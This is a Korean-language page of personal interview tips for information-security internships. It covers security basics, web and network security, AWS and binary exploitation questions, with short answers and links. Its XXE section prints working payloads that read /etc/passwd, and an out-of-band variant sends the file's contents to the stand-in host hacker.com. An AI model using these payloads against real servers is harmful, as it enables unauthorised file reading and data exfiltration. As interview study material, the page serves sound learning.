면접 팁 (정보 보안)
이 페이지는 제가 겪었던 면접들을 요약한 것입니다. 다양한 역할을 두루 다뤘고, 여러 번 거절을 당했지만, 각 면접에서 배우고 건설적인 피드백을 모아 계속 나아갔습니다.
이 질문들/팁이 여러분께 도움이 되길 바랍니다.
일반적으로 다루는 역할은 다음과 같습니다:
- 사이버 보안 인턴(Cybersecurity Intern)
- 침투 테스트 인턴/ 레드 팀(Penetration Testing Intern/ Red Team)
- 웹 앱/ 애플리케이션 보안 인턴(Web App/ Application Security Intern)
- 제품 보안 인턴(Product Security Intern)
- 인프라 보안 인턴(Infrastructure Security Intern)
빠른 팁:
- 이력서를 검토하고 미리 스스로에게 관련 질문을 해보세요
- 어떤 질문/개념을 알지 못한다면, 주제를 빙빙 돌지 말고, 일할 수 있는 환경이 주어진다면 배울 수 있다는 점을 전달하세요
모든 것을 알 수는 없습니다. 잘못 답했거나 설명이 필요하다면 겸손하게 인정하세요
- 자기소개를 위해 미리 짧은 소개(bio)를 준비하세요
- 최종 목표와 왜 정보 보안(infosec)인지 확실히 하세요
- 마지막으로, 면접이 끝날 때 피드백을 꼭 요청하세요. 왜냐하면: 현재 정보 보안 지식의 공백을 파악하고 채우는 데 도움이 되기 때문입니다
아래에 제가 접했던 가능한 모든 질문을 기록하려고 노력했고, 일부에 대한 답변도 제공했습니다.
나머지는 구글에서 해당 답변을 검색할 수 있고, 더 깊이 파고들고 싶다면 참고하세요. 그 외에도 마지막에 몇 가지 참고 자료가 있으니 살펴보세요. 정말 도움이 되었습니다.
앞으로 진행하면서 노트를 확인하고 더 많은 질문을 추가하고 싶습니다. [email protected]으로 연락하시어 이에 대한 건설적인 피드백을 주시면 감사하겠습니다.
여기에 다루지 않은 내용을 발견하셨다면 자유롭게 공유해 주세요.
공통 질문
- 보안 3요소(Security Triads):
CIA란 무엇인가?
- 기밀성(Confidentiality)
- 무결성(Integrity)
- 가용성(Availability)
AAA란 무엇인가?
- 인증(Authentication)
- 인가(Authorization)
- 회계(Accounting)
- 위협(Threat), 취약점(Vulnerability), 익스플로잇(Exploit), 위험(Risk)의 차이와 이것들이 자산(Asset)과 어떻게 관련되는가
- 위협(Threat):
위협은 우리가 방어하려는 대상입니다
- 취약점(Vulnerability):
취약점은 우리의 보호 노력에 존재하는 약점 또는 공백입니다
- 익스플로잇(Exploit):
취약점을 이용하여 자산을 공격하도록 개발된 능력/프로그램 (소프트웨어 또는 사회공학 기술일 수 있음)
- 위험(Risk):
위험은 자산, 위협, 취약점의 교차점입니다
- 자산(Asset):
자산은 우리가 보호하려는 대상입니다
- IAM이란 무엇이며 왜 사용되는가?
IAM은 조직 내에서 역할과 책임을 분리하는 데 사용되는 ID 및 액세스 관리(Identity Access Management)입니다. 보안에 있어 중요한 요소이며, 액세스 수준 보안과 권한을 유지하는 데 도움이 됩니다.
일반적인 보안
네트워크 침입 공격의 단계:
- 정찰/ 정보 수집(Reconnaissance/ Information Gathering)
- 필요한 액세스 획득
- 액세스 유지
- 흔적 지우기 (로그 삭제, 백도어, 모든 통제 수단 숨기기)
웹 애플리케이션 보안
- 공통 질문:
-
OWASP Top 10
-
XSS(크로스 사이트 스크립팅, Cross-site Scripting)란 무엇인가
-
CSRF란 무엇인가
모든 면접관이 가장 좋아하는 질문입니다
빠른 팁: 간결하게 답하세요. 요청받았을 때만 전체 이야기를 설명하세요
사이트 간 요청 위조(CSRF, Cross-Site Request Forgery)는 최종 사용자가 현재 인증된 웹 애플리케이션에서 원치 않는 작업을 실행하도록 강제하는 공격입니다. CSRF 공격은 공격자가 위조된 요청에 대한 응답을 볼 방법이 없기 때문에 데이터 탈취가 아닌 상태 변경 요청을 특별히 대상으로 합니다. 사회공학적 기법(이메일이나 채팅을 통해 링크를 보내는 등)의 약간의 도움으로, 공격자는 웹 애플리케이션 사용자를 속여 공격자가 선택한 작업을 실행하게 할 수 있습니다. 피해자가 일반 사용자인 경우 성공적인 CSRF 공격은 사용자가 자금 이체, 이메일 주소 변경 등과 같은 상태 변경 요청을 수행하도록 강제할 수 있습니다. 피해자가 관리자 계정인 경우 CSRF는 전체 웹 애플리케이션을 손상시킬 수 있습니다.
-
CSRF 대응 방법:
Anti-CSRF 토큰 사용
동일 출처 정책(Same-Origin Policy) 사용
Referrer 헤더 사용
-
HTML/URL 인코딩이란 무엇인가
-
HTTP 프로토콜은 상태가 없는(stateless) 프로토콜인가?
HTTP는 본질적으로 상태가 없는(stateless) 프로토콜이지만, 서버는 쿠키를 사용하여 상태를 유지(stateful)하게 만듭니다
-
인젝션의 유형: SQL, Command, OS
-
SQL 인젝션 대응 방법
매개변수화된 쿼리(parameterized queries)와 저장 프로시저(stored procedures)를 사용하세요
- 보안을 제공하는 데 도움이 되는 헤더 확인하기 (URL을 확인하고 내용을 살펴보면 기초를 다지는 데 도움이 됩니다):
- 면접관이 이런 질문을 할 드문 경우도 있습니다. 몇몇 면접의 후반 단계에서 다음과 같은 질문을 접했기에 언급해 두고자 합니다:
- XXE(XML 외부 엔티티, XML External Entities)란 무엇인가?
XML 외부 엔티티 인젝션(XXE)은 공격자가 애플리케이션의 XML 데이터 처리를 방해할 수 있게 하는 웹 보안 취약점입니다. 이를 통해 공격자는 종종 애플리케이션 서버 파일 시스템의 파일을 볼 수 있고, 애플리케이션이 액세스할 수 있는 백엔드 또는 외부 시스템과 상호 작용할 수 있습니다.
확인해 보세요 [https://portswigger.net/web-security/xxe]
예:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
어떤 상황에서는 공격자가 XXE 취약점을 활용하여 서버 측 요청 위조(SSRF, Server-Side Request Forgery) 공격을 수행함으로써 XXE 공격을 확대하여 기본 서버나 기타 백엔드 인프라를 손상시킬 수 있습니다.
- 대역 외(Out-Of-Band) - XML 엔티티를 사용하여 서버의 데이터를 가로채서 hacker.com으로 보낼 수 있습니다 (서버 출력 불필요)
주입 대상: document.xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
%remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity
외부 호스트: http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
--- OR ---
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>"> - consider error-based
참고: [https://phonexicum.github.io/infosec/xxe.html]
네트워크 보안
- 대칭(Symmetric) 암호화와 비대칭(Asymmetric) 암호화의 차이
- 공개 키(Public key) 암호화와 비대칭 키(Asymmetric key) 암호화의 차이: 둘은 동일합니다 함정 질문
- 암호화 모드 (예: EBC, CBC 등)
- 완전 순방향 비밀성(PFS, Perfect Forward Secrecy)이란 무엇인가
[https://scotthelme.co.uk/perfect-forward-secrecy/]
간단히 말해, PFS의 주요 역할은 서버의 개인 키가 손상되는 경우 공격자가 이전의 어떤 TLS 통신도 복호화할 수 없도록 하는 것입니다. 완전 순방향 비밀성은 세션마다 새 키를 제공하고 세션이 활성화된 동안 유효한 Diffie-Hellman 임시 키 교환을 사용하여 구현됩니다.
- 암호화 스위트(Cipher suite) 이해:
예: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
- 데이터 압축과 암호화 중 어떤 것이 먼저 수행되는가
압축이 먼저 수행됩니다. 데이터의 무작위성 엔트로피(분포)가 낮을수록 더 높은 압축률을 달성할 수 있으므로, 먼저 압축한 다음 암호화하는 것이 유리합니다.
- 암호화(Encryption), 인코딩(Encoding), 해싱(Hashing), 난독화(Obfuscation)의 차이
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
- 레인보우 테이블(Rainbow-table)이란 무엇인가: 간단히 말하면 미리 계산된 해시들의 모음입니다
- TLS는 어떻게 동작하는가?
우연히 발견한 놀라운 이미지입니다. TLS를 비전문가의 언어로 이해하는 데 도움이 되었습니다
http://i.imgur.com/5T2fJsG.png
- 인증서 서명(Certificate Signing)이란 무엇인가
- Traceroute는 어떻게 동작하는가
- Nmap은 어떻게 동작하는가
- 인증 기관(CA, Certification Authority)이란 무엇인가
- DMZ란 무엇이며 관련된 구성 요소는 무엇인가
- ping은 어떤 포트를 통해 동작하는가?
함정 질문이긴 하지만 중요한 질문입니다.
힌트: ICMP는 3계층 프로토콜입니다 (포트를 통해 동작하지 않습니다). 이 질문의 좋은 변형은 ping이 TCP를 사용하는지 UDP를 사용하는지 묻는 것입니다. 어느 쪽으로 답해도 실패입니다. 둘 다 4계층 프로토콜이기 때문입니다.
클라우드 보안
일반적으로 AWS 기준으로 설명하겠지만, Azure, GCP, Digital Ocean 등 다른 클라우드 제공업체도 있습니다.
- AWS의 일반적인 구성 요소:
S3, EC2, Buckets, IAM, Cloud trial, Cloud watch
- IAM이란 무엇이며 구성 요소는 무엇인가: 간단히 말하면 IAM은 액세스 관리를 위해 사용되며, 역할(Roles, 임시 액세스용), 정책(Policies), 그룹(Groups), 사용자(Users)를 통해 기능합니다
- EC2란 무엇인가: 가상 머신(Virtual Machine)을 생성(spin up)하기 위한 탄력적(Elastic) 인스턴스입니다
- EC2에도 암호화가 적용되나요: 네, 그렇습니다. Amazon EBS 암호화는 자체 키 관리 인프라를 구축, 유지 관리 및 보호할 필요 없이 EBS 볼륨을 위한 간단한 암호화 솔루션을 제공합니다. Amazon EBS 암호화는 암호화된 볼륨과 그로부터 생성된 모든 스냅샷을 생성할 때 AWS Key Management Service(AWS KMS) 고객 마스터 키(CMK)를 사용합니다.
더 많은 내용은 ... 아래에서 확인할 수 있습니다
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html
바이너리 익스플로잇(Binary Exploitation)
- 바이너리 디버깅에 사용할 수 있는 도구:
Linux: gdb, radare, clutter (radare용 GUI)
Windows: IDA, Binary Ninja
- 버퍼 오버플로우(Buffer Overflow)란 무엇인가
- 포맷 문자열 취약점(Format String Vulnerability)이란 무엇인가
- 스택(Stack)과 힙(Heap) 영역의 차이 (코드(Code), 텍스트(Text), BSS 영역도 함께 살펴보는 것을 고려하세요)
- 스택 쿠키(Stack Cookies)란 무엇인가
- ASLR이란 무엇이며 왜 사용되는가?
- 비실행 메모리(non-executable memory)란 무엇인가?
참고 자료
학습 자료:
https://regexone.com/ (정규 표현식은 필수입니다!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
정보 보안 면접 질문:
https://danielmiessler.com/study/infosec_interview_questions
주요 침투 테스트(Pentest) 질문:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
파이썬 팁:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
AWS 사용자 가이드:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
SMB와 Samba 이해:
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/